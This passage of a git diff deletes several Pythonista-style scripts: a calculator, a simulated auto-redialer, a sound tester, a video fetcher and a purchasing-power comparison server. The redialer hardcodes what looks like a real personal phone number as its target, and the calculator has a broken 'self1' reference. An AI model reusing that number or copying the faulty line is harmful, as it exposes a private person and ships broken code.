'__main__': - main() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmyy8nf3.py b/script_library/scripts/ui/script_mmyy8nf3.py deleted file mode 100644 index 3562341..0000000 --- a/script_library/scripts/ui/script_mmyy8nf3.py +++ /dev/null @@ -1,222 +0,0 @@ -import ui -import math - -class CalculatorView(ui.View): - def __init__(self): - super().__init__() # 添加父类初始化调用 - self.name = '计算器' - self.background_color = 'black' - self.display_text = '0' - self.first_operand = None - self.operator = None - self.waiting_for_second_operand = False - self.should_reset_display = False - - # 按钮布局和标签 - 存储为实例变量以便 layout() 访问 - self.button_specs = [ - ('AC', 0, 0, 1), ('⌫', 1, 0, 1), ('%', 2, 0, 1), ('÷', 3, 0, 1), - ('7', 0, 1, 1), ('8', 1, 1, 1), ('9', 2, 1, 1), ('×', 3, 1, 1), - ('4', 0, 2, 1), ('5', 1, 2, 1), ('6', 2, 2, 1), ('-', 3, 2, 1), - ('1', 0, 3, 1), ('2', 1, 3, 1), ('3', 2, 3, 1), ('+', 3, 3, 1), - ('0', 0, 4, 2), ('.', 2, 4, 1), ('=', 3, 4, 1) - ] - - # 创建显示标签 - self.display_label = ui.Label() - self.display_label.text = self.display_text - self.display_label.font = ('', 40) - self.display_label.text_color = 'white' - self.display_label.alignment = ui.ALIGN_RIGHT - self.display_label.number_of_lines = 1 - self.display_label.flex = 'W' - - # 创建按钮 - self.buttons = {} - for text, col, row, col_span in self.button_specs: - btn = ui.Button(title=text) - btn.font = ('', 28) - btn.background_color = self.get_button_color(text) - btn.tint_color = 'white' - btn.corner_radius = 40 - btn.action = self.button_tapped - self.buttons[text] = btn - self.add_subview(btn) - - self.add_subview(self.display_label) - - def get_button_color(self, text): - # 数字和点按钮为深灰色 - if text in '0123456789.': - return (0.2, 0.2, 0.2, 1) # 深灰 - # 操作符按钮为橙色 - elif text in '÷×-+=': - return (1.0, 0.6, 0.0, 1) # 橙色 - # 功能按钮为浅灰色 - else: - return (0.5, 0.5, 0.5, 1) # 浅灰 - - def layout(self): - # 设置显示标签位置 - display_height = 120 - self.display_label.frame = (20, 40, self.width - 40, display_height) - - # 设置按钮位置 - button_size = 80 - button_margin = 10 - start_y = display_height + 60 - - for text, btn in self.buttons.items(): - # 找到按钮在布局中的位置 - for spec_text, col, row, col_span in self.button_specs: - if spec_text == text: - x = 20 + col * (button_size + button_margin) - y = start_y + row * (button_size + button_margin) - width = button_size * col_span + button_margin * (col_span - 1) - btn.frame = (x, y, width, button_size) - break - - def button_tapped(self, sender): - text = sender.title - - if text in '0123456789': - self.input_digit(text) - elif text == '.': - self.input_decimal() - elif text in '÷×-+': - self.set_operation(text) - elif text == '=': - self.calculate_result() - elif text == 'AC': - self.clear_all() - elif text == '±': - self.toggle_sign() - elif text == '⌫': - self.delete_last() - elif text == '%': - self.calculate_percentage() - - def input_digit(self, digit): - if self.display_text == '0' or self.waiting_for_second_operand or self.should_reset_display: - self.display_text = digit - self.waiting_for_second_operand = False - self.should_reset_display = False - else: - self.display_text += digit - - self.update_display() - - def input_decimal(self): - if self.waiting_for_second_operand or self.should_reset_display: - self.display_text = '0.' - self.waiting_for_second_operand = False - self.should_reset_display = False - elif '.' not in self.display_text: - self.display_text += '.' - - self.update_display() - - def set_operation(self, op): - if self.operator is not None and not self.waiting_for_second_operand: - self.calculate_result() - - try: - self.first_operand = float(self.display_text) - except: - self.first_operand = 0 - - self.operator = op - self.waiting_for_second_operand = True - self.should_reset_display = True - - def calculate_result(self): - if self.operator is None or self.waiting_for_second_operand: - return - - try: - second_operand = float(self.display_text) - - if self.operator == '+': - result = self.first_operand + second_operand - elif self.operator == '-': - result = self.first_operand - second_operand - elif self.operator == '×': - result = self.first_operand * second_operand - elif self.operator == '÷': - if second_operand == 0: - self.display_text = '错误' - self.update_display() - self.clear_all() - return - result = self.first_operand / second_operand - - # 处理浮点数精度问题 - if result.is_integer(): - self.display_text = str(int(result)) - else: - # 限制小数位数 - self.display_text = f'{result:.10f}'.rstrip('0').rstrip('.') - - self.first_operand = result - self.operator = None - self.waiting_for_second_operand = True - self.should_reset_display = True - self.update_display() - - except Exception as e: - self.display_text = '错误' - self.update_display() - self.clear_all() - - def clear_all(self): - self.display_text = '0' - self.first_operand = None - self.operator = None - self.waiting_for_second_operand = False - self.should_reset_display = False - self.update_display() - - def toggle_sign(self): - try: - value = float(self.display_text) - value = -value - if value.is_integer(): - self.display_text = str(int(value)) - else: - self.display_text = str(value) - self.update_display() - except: - pass - - def delete_last(self): - if self.display_text != '0' and len(self.display_text) > 1: - self.display_text = self.display_text[:-1] - elif len(self.display_text) == 1: - self.display_text = '0' - self.update_display() - - def calculate_percentage(self): - try: - value = float(self.display_text) - value = value / 100 - if value.is_integer(): - self.display_text = str(int(value)) - else: - self.display_text = str(value) - self.update_display() - except: - pass - - def update_display(self): - # 限制显示长度 - if len(self.display_text) > 12: - if '.' in self.display_text: - self1.display_text = self.display_text[:12] - else: - self.display_text = self.display_text[:12] - - self.display_label.text = self.display_text - -# 运行计算器 -if __name__ == '__main__': - view = CalculatorView() - view.present('fullscreen') \ No newline at end of file diff --git a/script_library/scripts/ui/script_mn8qerq9.py b/script_library/scripts/ui/script_mn8qerq9.py deleted file mode 100644 index 56fdc6b..0000000 --- a/script_library/scripts/ui/script_mn8qerq9.py +++ /dev/null @@ -1,98 +0,0 @@ -import time -import random - -class AutoCaller: - def __init__(self, target_number): - self.target = target_number - self.call_count = 0 - self.is_running = True - - def make_call(self): - """模拟拨打电话(实际需对接真实电话API)""" - self.call_count += 1 - print(f"\n{'='*50}") - print(f"📞 第 {self.call_count} 次拨打: {self.target}") - print(f"⏰ 时间: {time.strftime('%Y-%m-%d %H:%M:%S')}") - - # 拨号中 - print("📞 拨号中...") - time.sleep(1) - - # 振铃中 - print("🔔 振铃中...") - time.sleep(2) - - # 随机模拟对方行为(实际使用时替换为真实通话状态检测) - # 这里用随机模拟,真实场景需要对接电话API - actions = ['answer', 'hangup', 'busy', 'no_answer'] - weights = [0.2, 0.5, 0.2, 0.1] # 20%接听, 50%挂断, 20%忙线, 10%无人接听 - result = random.choices(actions, weights=weights)[0] - - if result == 'answer': - print("💬 对方接听!通话中...") - duration = random.randint(5, 30) - time.sleep(duration) - print(f"✅ 通话结束 (通话时长: {duration}秒)") - print("🎉 通话成功完成,停止重拨") - self.is_running = False - return 'answered' - - elif result == 'hangup': - print("❌ 对方挂断") - return 'hangup' - - elif result == 'busy': - print("📵 对方忙线") - return 'busy' - - else: - print("⏰ 无人接听") - return 'no_answer' - - def start(self, interval=30, max_attempts=None): - """开始自动重拨""" - print("="*50) - print("🚀 自动重拨已启动") - print(f"📱 目标号码: {self.target}") - print(f"⏱️ 重拨间隔: {interval}秒") - print(f"🔁 最大次数: {'无限' if max_attempts is None else max_attempts}") - print("="*50) - - while self.is_running: - if max_attempts and self.call_count >= max_attempts: - print(f"\n⚠️ 已达到最大重拨次数 ({max_attempts}),停止重拨") - break - - result = self.make_call() - - if result == 'answered': - break - - if self.is_running: - print(f"\n⏳ 等待 {interval} 秒后自动重拨...") - for i in range(interval, 0, -1): - print(f" 剩余 {i} 秒", end='\r') - time.sleep(1) - print("\n" + " "*20 + "\n") - -if __name__ == "__main__": - print("="*40) - print("📞 自动重拨系统") - print("="*40) - - # 直接在这里填写要拨打的手机号 - phone = "17751377766" # 👈 改成你要拨打的号码 - - interval = 10 # 挂断后等待10秒重拨 - max_attempts = 5 # 最多重拨5次,None表示无限 - - print(f"目标号码: {phone}") - print(f"重拨间隔: {interval}秒") - print(f"最大重拨: {max_attempts}次") - print("-"*40) - - caller = AutoCaller(phone) - try: - caller.start(interval=interval, max_attempts=max_attempts) - except KeyboardInterrupt: - print("\n\n⚠️ 用户手动停止") \ No newline at end of file diff --git a/script_library/scripts/ui/script_mnbr9mqw.py b/script_library/scripts/ui/script_mnbr9mqw.py deleted file mode 100644 index 0bab3f6..0000000 --- a/script_library/scripts/ui/script_mnbr9mqw.py +++ /dev/null @@ -1,265 +0,0 @@ -import ui -import sound -import console - -# 内置音效分类和示例音效 -AUDIO_CATEGORIES = { - "游戏音效 (game)": [ - "game:Beep", "game:Hit_1", "game:Hit_2", "game:Hit_3", "game:Powerup", - "game:Error", "game:Coin_1", "game:Coin_2", "game:Coin_3", "game:Jump_1", - "game:Jump_2", "game:Explosion_1", "game:Explosion_2", "game:Explosion_3", - "game:Laser_1", "game:Laser_2", "game:Laser_3", "game:Shoot_1", "game:Shoot_2", - "game:Shoot_3", "game:Select_1", "game:Select_2", "game:Select_3" - ], - "街机音效 (arcade)": [ - "arcade:Coin_1", "arcade:Coin_2", "arcade:Coin_3", "arcade:Jump_1", - "arcade:Jump_2", "arcade:Explosion_1", "arcade:Explosion_2", "arcade:Explosion_3", - "arcade:Laser_1", "arcade:Laser_2", "arcade:Laser_3", "arcade:Shoot_1", - "arcade:Shoot_2", "arcade:Shoot_3", "arcade:Select_1", "arcade:Select_2", - "arcade:Select_3", "arcade:Powerup_1", "arcade:Powerup_2", "arcade:Powerup_3" - ], - "UI 音效 (ui)": [ - "ui:click1", "ui:click2", "ui:click3", "ui:click4", "ui:click5", - "ui:pop1", "ui:pop2", "ui:pop3", "ui:pop4", "ui:pop5", - "ui:alert1", "ui:alert2", "ui:alert3", "ui:alert4", "ui:alert5", - "ui:success1", "ui:success2", "ui:success3", "ui:success4", "ui:success5" - ], - "数字音效 (digital)": [ - "digital:beep1", "digital:beep2", "digital:beep3", "digital:beep4", "digital:beep5", - "digital:error1", "digital:error2", "digital:error3", "digital:error4", "digital:error5", - "digital:success1", "digital:success2", "digital:success3", "digital:success4", "digital:success5" - ], - "赌场音效 (casino)": [ - "casino:chip1", "casino:chip2", "casino:chip3", "casino:chip4", "casino:chip5", - "casino:coin1", "casino:coin2", "casino:coin3", "casino:coin4", "casino:coin5", - "casino:slot1", "casino:slot2", "casino:slot3", "casino:slot4", "casino:slot5" - ], - "RPG 音效 (rpg)": [ - "rpg:DoorOpen_1", "rpg:DoorClose_1", "rpg:Footstep_1", "rpg:Footstep_2", "rpg:Footstep_3", - "rpg:SwordSwing_1", "rpg:SwordSwing_2", "rpg:SwordSwing_3", "rpg:KnifeSlice_1", "rpg:KnifeSlice_2", - "rpg:MagicSpell_1", "rpg:MagicSpell_2", "rpg:MagicSpell_3", "rpg:MagicSpell_4", "rpg:MagicSpell_5" - ], - "音乐音效 (music)": [ - "music:Victory_NES_1", "music:Victory_NES_2", "music:Victory_NES_3", "music:GameOver_NES_1", - "music:GameOver_NES_2", "music:GameOver_NES_3", "music:LevelUp_NES_1", "music:LevelUp_NES_2", - "music:LevelUp_NES_3", "music:Intro_NES_1", "music:Intro_NES_2", "music:Intro_NES_3" - ] -} - -class AudioTester: - def __init__(self): - self.current_sound = None - self.current_volume = 0.5 - self.current_pitch = 1.0 - self.current_pan = 0.0 - - # 创建主视图 - self.view = ui.View(frame=(0, 0, 400, 700)) - self.view.name = '音频测试器' - self.view.background_color = '#f5f5f5' - - # 标题 - title_label = ui.Label(frame=(20, 20, 360, 40)) - title_label.text = '🎵 内置音频测试器' - title_label.font = ('System-Bold', 24) - title_label.alignment = ui.ALIGN_CENTER - title_label.text_color = '#333' - title_label.flex = 'W' - self.view.add_subview(title_label) - - # 统计标签 - total_sounds = sum(len(sounds) for sounds in AUDIO_CATEGORIES.values()) - stats_label = ui.Label(frame=(20, 70, 360, 20)) - stats_label.text = f'共 {total_sounds} 个内置音效,7 大分类' - stats_label.font = ('System', 14) - stats_label.alignment = ui.ALIGN_CENTER - stats_label.text_color = '#666' - stats_label.flex = 'W' - self.view.add_subview(stats_label) - - # 控制面板 - control_view = ui.View(frame=(20, 100, 360, 120)) - control_view.background_color = '#ffffff' - control_view.corner_radius = 10 - control_view.border_width = 1 - control_view.border_color = '#e0e0e0' - control_view.flex = 'W' - self.view.add_subview(control_view) - - # 音量控制 - volume_label = ui.Label(frame=(20, 15, 80, 30)) - volume_label.text = '音量:' - volume_label.font = ('System', 14) - control_view.add_subview(volume_label) - - self.volume_slider = ui.Slider(frame=(100, 15, 200, 30)) - self.volume_slider.value = self.current_volume - self.volume_slider.continuous = True - self.volume_slider.action = self.volume_changed - control_view.add_subview(self.volume_slider) - - self.volume_value_label = ui.Label(frame=(310, 15, 40, 30)) - self.volume_value_label.text = f'{int(self.current_volume * 100)}%' - self.volume_value_label.font = ('System', 14) - self.volume_value_label.alignment = ui.ALIGN_RIGHT - control_view.add_subview(self.volume_value_label) - - # 音高控制 - pitch_label = ui.Label(frame=(20, 55, 80, 30)) - pitch_label.text = '音高:' - pitch_label.font = ('System', 14) - control_view.add_subview(pitch_label) - - self.pitch_slider = ui.Slider(frame=(100, 55, 200, 30)) - self.pitch_slider.value = 0.5 # 映射到 0.5-2.0 - self.pitch_slider.continuous = True - self.pitch_slider.action = self.pitch_changed - control_view.add_subview(self.pitch_slider) - - self.pitch_value_label = ui.Label(frame=(310, 55, 40, 30)) - self.pitch_value_label.text = f'{self.current_pitch:.1f}x' - self.pitch_value_label.font = ('System', 14) - self.pitch_value_label.alignment = ui.ALIGN_RIGHT - control_view.add_subview(self.pitch_value_label) - - # 声像控制 - pan_label = ui.Label(frame=(20, 95, 80, 30)) - pan_label.text = '声像:' - pan_label.font = ('System', 14) - control_view.add_subview(pan_label) - - self.pan_slider = ui.Slider(frame=(100, 95, 200, 30)) - self.pan_slider.value = 0.5 # 映射到 -1.0到1.0 - self.pan_slider.continuous = True - self.pan_slider.action = self.pan_changed - control_view.add_subview(self.pan_slider) - - self.pan_value_label = ui.Label(frame=(310, 95, 40, 30)) - self.pan_value_label.text = f'{self.current_pan:.1f}' - self.pan_value_label.font = ('System', 14) - self.pan_value_label.alignment = ui.ALIGN_RIGHT - control_view.add_subview(self.pan_value_label) - - # 控制按钮 - button_y = 230 - self.play_button = ui.Button(frame=(20, button_y, 160, 44)) - self.play_button.title = '▶️ 播放选中音效' - self.play_button.background_color = '#4CAF50' - self.play_button.title_color = 'white' - self.play_button.corner_radius = 8 - self.play_button.action = self.play_sound - self.play_button.flex = 'LRTB' - self.view.add_subview(self.play_button) - - self.stop_button = ui.Button(frame=(200, button_y, 160, 44)) - self.stop_button.title = '⏹️ 停止所有音效' - self.stop_button.background_color = '#F44336' - self.stop_button.title_color = 'white' - self.stop_button.corner_radius = 8 - self.stop_button.action = self.stop_all_sounds - self.stop_button.flex = 'LRTB' - self.view.add_subview(self.stop_button) - - # 当前播放标签 - self.current_label = ui.Label(frame=(20, 290, 360, 30)) - self.current_label.text = '当前播放: 无' - self.current_label.font = ('System', 14) - self.current_label.text_color = '#666' - self.current_label.flex = 'W' - self.view.add_subview(self.current_label) - - # 创建分段控件用于切换分类 - self.segmented_control = ui.SegmentedControl(frame=(20, 330, 360, 32)) - self.segmented_control.segments = list(AUDIO_CATEGORIES.keys()) - self.segmented_control.selected_index = 0 - self.segmented_control.action = self.category_changed - self.segmented_control.flex = 'W' - self.view.add_subview(self.segmented_control) - - # 创建表格视图显示音效列表 - self.table_view = ui.TableView(frame=(20, 380, 360, 280)) - self.table_view.row_height = 44 - self.table_view.flex = 'WH' - self.table_view.corner_radius = 8 - self.table_view.border_width = 1 - self.table_view.border_color = '#e0e0e0' - self.table_view.delegate = self - self.view.add_subview(self.table_view) - - # 初始化数据 - self.current_category = list(AUDIO_CATEGORIES.keys())[0] - self.current_sounds = AUDIO_CATEGORIES[self.current_category] - self.selected_sound = None - - # 设置 TableView 数据源 - self.update_table_data() - - def volume_changed(self, sender): - self.current_volume = sender.value - self.volume_value_label.text = f'{int(self.current_volume * 100)}%' - - def pitch_changed(self, sender): - # 将 0-1 映射到 0.5-2.0 - self.current_pitch = 0.5 + sender.value * 1.5 - self.pitch_value_label.text = f'{self.current_pitch:.1f}x' - - def pan_changed(self, sender): - # 将 0-1 映射到 -1.0到1.0 - self.current_pan = (sender.value - 0.5) * 2 - self.pan_value_label.text = f'{self.current_pan:.1f}' - - def category_changed(self, sender): - self.current_category = sender.segments[sender.selected_index] - self.current_sounds = AUDIO_CATEGORIES[self.current_category] - self.update_table_data() - self.selected_sound = None - self.current_label.text = '当前播放: 无' - - def update_table_data(self): - # 将音效列表转换为 TableView 可用的数据格式 - table_data = [] - for sound_name in self.current_sounds: - table_data.append({ - 'title': sound_name, - 'accessory_type': 'disclosure_indicator' - }) - self.table_view.data_source = table_data - self.table_view.reload_data() - - def play_sound(self, sender): - if self.selected_sound: - try: - # 播放音效 - self.current_sound = sound.play_effect( - self.selected_sound, - volume=self.current_volume, - pitch=self.current_pitch, - pan=self.current_pan - ) - self.current_label.text = f'当前播放: {self.selected_sound}' - console.hud_alert(f'播放: {self.selected_sound}', duration=1.0) - except Exception as e: - console.hud_alert(f'播放失败: {str(e)}', duration=2.0) - else: - console.hud_alert('请先选择一个音效', duration=1.5) - - def stop_all_sounds(self, sender): - sound.stop_all_effects() - self.current_label.text = '当前播放: 已停止' - console.hud_alert('已停止所有音效', duration=1.0) - - def tableview_did_select(self, tableview, section, row): - self.selected_sound = self.current_sounds[row] - self.current_label.text = f'已选择: {self.selected_sound}' - # 自动播放选中的音效 - self.play_sound(None) - - - - def run(self): - self.view.present('sheet') - -# 创建并运行音频测试器 -if __name__ == '__main__': - tester = AudioTester() - tester.run() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mo9oqex4.py b/script_library/scripts/ui/script_mo9oqex4.py deleted file mode 100644 index 937458f..0000000 --- a/script_library/scripts/ui/script_mo9oqex4.py +++ /dev/null @@ -1,77 +0,0 @@ -import ui -import requests -import storage -import dialogs - -# ===== 接口 ===== -API = "http://api.yujn.cn/api/zzxjj.php" - -# ===== 获取真实视频 ===== -def get_real_url(): - try: - r = requests.get(API, timeout=10) - - # 跳转地址 - if r.url != API: - return r.url - - # 返回文本是URL - if r.text.startswith("http"): - return r.text.strip() - - except Exception as e: - print("获取失败:", e) - - return None - -# ===== HTML播放器 ===== -def build_html(url): - return f""" - - - - - - - - - """ - -# ===== 主程序 ===== -class VideoApp(ui.View): - - def __init__(self): - super().__init__() - - self.background_color = "black" - - # 播放器 - self.web = ui.WebView(frame=self.bounds, flex="WH") - self.add_subview(self.web) - # 按钮 - self.button = ui.Button(title="切换视频", frame=(0, 0, 150, 50)) # 初始位置设为 (0, 0) - self.button.action = self.play_video - self.add_subview(self.button) - - # 首次运行显示使用说明 - - dialogs.alert("使用说明", "欢迎使用本应用!\n刷新视频点击切换视频\n播放后找不到切换按钮点击右上X按钮\n换视频较慢!") - - # ===== 播放视频 ===== - def play_video(self, sender): - url = get_real_url() - if url: - print("播放:", url) - self.web.load_html(build_html(url)) - else: - print("无法获取视频 URL") - -# ===== 启动 ===== -if __name__ == "__main__": - - v = VideoApp() - w, h = ui.get_screen_size() - v.frame = (0, 0, w, h) - # 设置按钮位置为屏幕中心,并以模态形式显示 - v.present("sheet", animated=True, hide_title_bar=True) \ No newline at end of file diff --git a/script_library/scripts/ui/script_mogykcgu.py b/script_library/scripts/ui/script_mogykcgu.py deleted file mode 100644 index 05a61f4..0000000 --- a/script_library/scripts/ui/script_mogykcgu.py +++ /dev/null @@ -1,1096 +0,0 @@ -import http.server -import socketserver -import socket -import threading -import webbrowser -import time -import json -import urllib.parse -import urllib.request -import csv -import io -from pathlib import Path -from datetime import datetime, timezone - - -HTML_CONTENT = r""" - - - - - 全球购买力对比 - - - - - -
-
-
-
-
-
- 数据准备中... -
-
-
- 缓存状态检查中... -
-
-
- - -
-
-
- -
-
- - 多商品 · 多国家 · 中国基准 1x -
-

- 全球购买力对比器 -

-

输入任意人民币金额,比较它在不同国家能买到多少生活用品。

-
- -
-
-
- -
- ¥ - -
-
- - - - -
-
-
-
PPP
-
- -
-
-

- - 当前商品购买力前三 -

- -
-
-
-
- -
-
-
-

选择对比物

-

切换后卡片、排行和热力表会一起更新

-
- -
-
-
- -
-
-
-

一眼看懂:各国综合购买力

-

按 6 类商品平均倍数排序,数值越高表示同样人民币换汇后越经花。

-
- -
-
-
- - - - - - - - - - - - - -
国家综合倍数大米西瓜汉堡鸡蛋牛奶餐巾纸
- - - -
-
-
-

筛选国家

-

可以只看你关心的国家,方便横向比较

-
-
- - -
-
-
-
- -
-
-

中国购买力 (基准 1x)

-
-
-
-

- - 数据说明 -

-
-
-
- -
- - - - - - - - - -""" - -APP_DIR = Path(__file__).resolve().parent -CACHE_FILE = APP_DIR / "purchasing_power_cache.json" -CACHE_TTL_SECONDS = 6 * 60 * 60 - -DEFAULT_RATES = { - "CNY": 1, "USD": 0.138, "AUD": 0.21, "NZD": 0.23, "KRW": 188.5, - "HKD": 1.08, "GBP": 0.11, "EUR": 0.128, "ISK": 19.2, "CAD": 0.19 -} - -DEFAULT_PRICES = { - "CNY": { "rice": 8.6, "watermelon": 4.8, "burger": 25.0, "eggs": 12.0, "milk": 11.0, "napkins": 5.0 }, - "USD": { "rice": 4.80, "watermelon": 1.70, "burger": 5.69, "eggs": 4.50, "milk": 1.05, "napkins": 2.50 }, - "AUD": { "rice": 3.60, "watermelon": 3.90, "burger": 7.70, "eggs": 5.80, "milk": 1.75, "napkins": 3.20 }, - "NZD": { "rice": 5.10, "watermelon": 4.50, "burger": 8.10, "eggs": 8.50, "milk": 2.90, "napkins": 3.80 }, - "KRW": { "rice": 5400, "watermelon": 4200, "burger": 5500, "eggs": 7200, "milk": 2800, "napkins": 2500 }, - "HKD": { "rice": 15.2, "watermelon": 18.0, "burger": 24.0, "eggs": 32.0, "milk": 24.0, "napkins": 12.0 }, - "GBP": { "rice": 1.55, "watermelon": 1.60, "burger": 4.49, "eggs": 2.80, "milk": 1.15, "napkins": 1.80 }, - "EUR_DE": { "rice": 2.20, "watermelon": 1.90, "burger": 5.29, "eggs": 3.20, "milk": 1.10, "napkins": 1.70 }, - "ISK": { "rice": 520, "watermelon": 390, "burger": 990, "eggs": 850, "milk": 240, "napkins": 450 }, - "EUR_FR": { "rice": 2.40, "watermelon": 2.20, "burger": 5.40, "eggs": 3.60, "milk": 1.25, "napkins": 1.90 }, - "CAD": { "rice": 4.20, "watermelon": 2.20, "burger": 7.05, "eggs": 5.30, "milk": 2.60, "napkins": 2.80 } -} - -COUNTRY_ISO_TO_CODE = { - "CHN": "CNY", "USA": "USD", "AUS": "AUD", "NZL": "NZD", "KOR": "KRW", - "HKG": "HKD", "GBR": "GBP", "DEU": "EUR_DE", "ISL": "ISK", - "FRA": "EUR_FR", "CAN": "CAD" -} - - -def now_iso(): - return datetime.now().strftime("%Y-%m-%d %H:%M:%S") - - -def http_json(url, timeout=10): - req = urllib.request.Request( - url, - headers={ - "User-Agent": "Mozilla/5.0", - "Accept": "application/json,text/plain,*/*", - }, - ) - with urllib.request.urlopen(req, timeout=timeout) as response: - return json.loads(response.read().decode("utf-8", errors="replace")) - - -def http_text(url, timeout=10): - req = urllib.request.Request( - url, - headers={ - "User-Agent": "Mozilla/5.0", - "Accept": "text/csv,text/plain,*/*", - }, - ) - with urllib.request.urlopen(req, timeout=timeout) as response: - return response.read().decode("utf-8", errors="replace") - - -def load_cache(): - if not CACHE_FILE.exists(): - return None - try: - return json.loads(CACHE_FILE.read_text(encoding="utf-8")) - except Exception: - return None - - -def save_cache(data): - try: - CACHE_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8") - except Exception: - pass - - -def cache_is_fresh(cache): - if not cache or "savedAtEpoch" not in cache: - return False - return (time.time() - float(cache.get("savedAtEpoch", 0))) < CACHE_TTL_SECONDS - - -def fetch_rates_primary(): - data = http_json("https://open.er-api.com/v6/latest/CNY", timeout=10) - if data.get("result") == "success": - return { - "rates": normalize_rates(data.get("rates", {})), - "source": "open.er-api.com", - "updated": data.get("time_last_update_utc") - } - raise RuntimeError("open.er-api 返回失败") - - -def fetch_rates_backup(): - data = http_json("https://api.frankfurter.app/latest?from=CNY", timeout=10) - rates = data.get("rates", {}) - if rates: - # frankfurter 不一定支持所有货币,能拿多少拿多少 - normalized = {"CNY": 1} - for k in ["USD", "AUD", "NZD", "KRW", "HKD", "GBP", "EUR", "ISK", "CAD"]: - if k in rates: - normalized[k] = rates[k] - if len(normalized) > 2: - return { - "rates": normalized, - "source": "frankfurter.app", - "updated": data.get("date") - } - raise RuntimeError("frankfurter 返回失败") - - -def normalize_rates(raw_rates): - rates = {"CNY": 1} - for key in ["USD", "AUD", "NZD", "KRW", "HKD", "GBP", "EUR", "ISK", "CAD"]: - if key in raw_rates: - try: - rates[key] = float(raw_rates[key]) - except Exception: - pass - return rates - - -def fetch_rates_stable(cache=None): - errors = [] - for fn in [fetch_rates_primary, fetch_rates_backup]: - try: - result = fn() - merged = dict(DEFAULT_RATES) - merged.update(result["rates"]) - return merged, { - "source": result.get("source"), - "updated": result.get("updated"), - "cacheUsed": False, - "errors": errors - } - except Exception as e: - errors.append(str(e)) - - if cache and cache.get("rates"): - merged = dict(DEFAULT_RATES) - merged.update(cache["rates"]) - return merged, { - "source": "本地缓存", - "updated": cache.get("generatedAt"), - "cacheUsed": True, - "errors": errors - } - - return dict(DEFAULT_RATES), { - "source": "内置默认汇率", - "updated": None, - "cacheUsed": True, - "errors": errors - } - - -def fetch_bigmac_prices(): - urls = [ - "https://raw.githubusercontent.com/TheEconomist/big-mac-data/master/source-data/big-mac-source-data.csv", - "https://raw.githubusercontent.com/TheEconomist/big-mac-data/master/output-data/big-mac-raw-index.csv", - ] - - last_error = None - for url in urls: - try: - text = http_text(url, timeout=12) - rows = list(csv.DictReader(io.StringIO(text))) - usable = [] - for row in rows: - iso = row.get("iso_a3") or row.get("iso") - local_price = row.get("local_price") - date = row.get("date") - if iso in COUNTRY_ISO_TO_CODE and local_price: - try: - usable.append((date, iso, float(local_price))) - except Exception: - pass - - if not usable: - continue - - latest_date = sorted(set(x[0] for x in usable if x[0]))[-1] - prices = {} - for date, iso, price in usable: - if date == latest_date: - code = COUNTRY_ISO_TO_CODE[iso] - prices.setdefault(code, {})["burger"] = price - return prices, latest_date, url - except Exception as e: - last_error = str(e) - - raise RuntimeError(last_error or "Big Mac 数据获取失败") - - -def deep_merge_prices(base, update): - result = json.loads(json.dumps(base, ensure_ascii=False)) - for code, item_prices in (update or {}).items(): - if code not in result: - result[code] = {} - for item, value in item_prices.items(): - try: - value = float(value) - if value > 0: - result[code][item] = value - except Exception: - pass - return result - - -def fetch_prices_stable(cache=None): - prices = json.loads(json.dumps(DEFAULT_PRICES, ensure_ascii=False)) - meta = { - "source": "默认参考价 + 可用公开数据", - "bigmacDate": None, - "bigmacSource": None, - "cacheUsed": False, - "errors": [] - } - - try: - bigmac, date, source = fetch_bigmac_prices() - prices = deep_merge_prices(prices, bigmac) - meta["bigmacDate"] = date - meta["bigmacSource"] = source - except Exception as e: - meta["errors"].append(str(e)) - if cache and cache.get("prices"): - cached_prices = {} - for code, item_prices in cache["prices"].items(): - if "burger" in item_prices: - cached_prices.setdefault(code, {})["burger"] = item_prices["burger"] - prices = deep_merge_prices(prices, cached_prices) - meta["cacheUsed"] = True - meta["source"] = "默认参考价 + 缓存 Big Mac" - - return prices, meta - - -def build_all_data(force=False): - cache = load_cache() - if (not force) and cache_is_fresh(cache): - cache["meta"]["cacheUsed"] = True - return cache - - rates, rates_meta = fetch_rates_stable(cache) - prices, prices_meta = fetch_prices_stable(cache) - - data = { - "ok": True, - "rates": rates, - "prices": prices, - "generatedAt": now_iso(), - "savedAtEpoch": time.time(), - "meta": { - "generatedAt": now_iso(), - "cacheUsed": bool(rates_meta.get("cacheUsed") or prices_meta.get("cacheUsed")), - "rates": rates_meta, - "prices": prices_meta - } - } - save_cache(data) - return data - - -def fetch_deezer_preview(): - query = 'artist:"Antoine Chambe" track:"Andalusia (Filatov & Karas Remix)"' - encoded_query = urllib.parse.quote(query) - url = f"https://api.deezer.com/search?q={encoded_query}&limit=15" - data = http_json(url, timeout=10) - results = data.get("data", []) - if not results: - return {"ok": False, "error": "Deezer 没有返回搜索结果"} - - def score(item): - title = (item.get("title") or "").lower() - title_short = (item.get("title_short") or "").lower() - artist = (item.get("artist") or {}).get("name", "").lower() - text = title + " " + title_short - s = 0 - if "andalusia" in text: s += 20 - if "filatov" in text: s += 20 - if "karas" in text: s += 20 - if "remix" in text: s += 10 - if "antoine" in artist: s += 10 - return s - - results.sort(key=score, reverse=True) - for item in results: - preview = item.get("preview") - if preview: - return { - "ok": True, - "previewUrl": preview, - "title": item.get("title") or item.get("title_short") or "Andalusia", - "artist": (item.get("artist") or {}).get("name", ""), - } - return {"ok": False, "error": "找到了歌曲,但没有可用 previewUrl"} - - -class Handler(http.server.BaseHTTPRequestHandler): - def do_GET(self): - if self.path in ("/", "/index.html"): - return self.send_bytes(HTML_CONTENT.encode("utf-8"), "text/html; charset=utf-8") - - if self.path.startswith("/api/all-data"): - force = "force=1" in self.path - try: - result = build_all_data(force=force) - result["ok"] = True - except Exception as e: - result = { - "ok": True, - "rates": DEFAULT_RATES, - "prices": DEFAULT_PRICES, - "meta": { - "generatedAt": now_iso(), - "cacheUsed": True, - "rates": {"source": "内置默认汇率", "errors": [str(e)]}, - "prices": {"source": "内置默认价格", "errors": [str(e)]} - } - } - return self.send_json(result) - - if self.path.startswith("/deezer-preview"): - try: - result = fetch_deezer_preview() - except Exception as e: - result = {"ok": False, "error": str(e)} - return self.send_json(result) - - self.send_response(404) - self.send_header("Content-Type", "text/plain; charset=utf-8") - self.end_headers() - self.wfile.write("404 Not Found".encode("utf-8")) - - def send_json(self, result): - body = json.dumps(result, ensure_ascii=False).encode("utf-8") - return self.send_bytes(body, "application/json; charset=utf-8", no_store=True) - - def send_bytes(self, body, content_type, no_store=False): - self.send_response(200) - self.send_header("Content-Type", content_type) - if no_store: - self.send_header("Cache-Control", "no-store") - self.send_header("Content-Length", str(len(body))) - 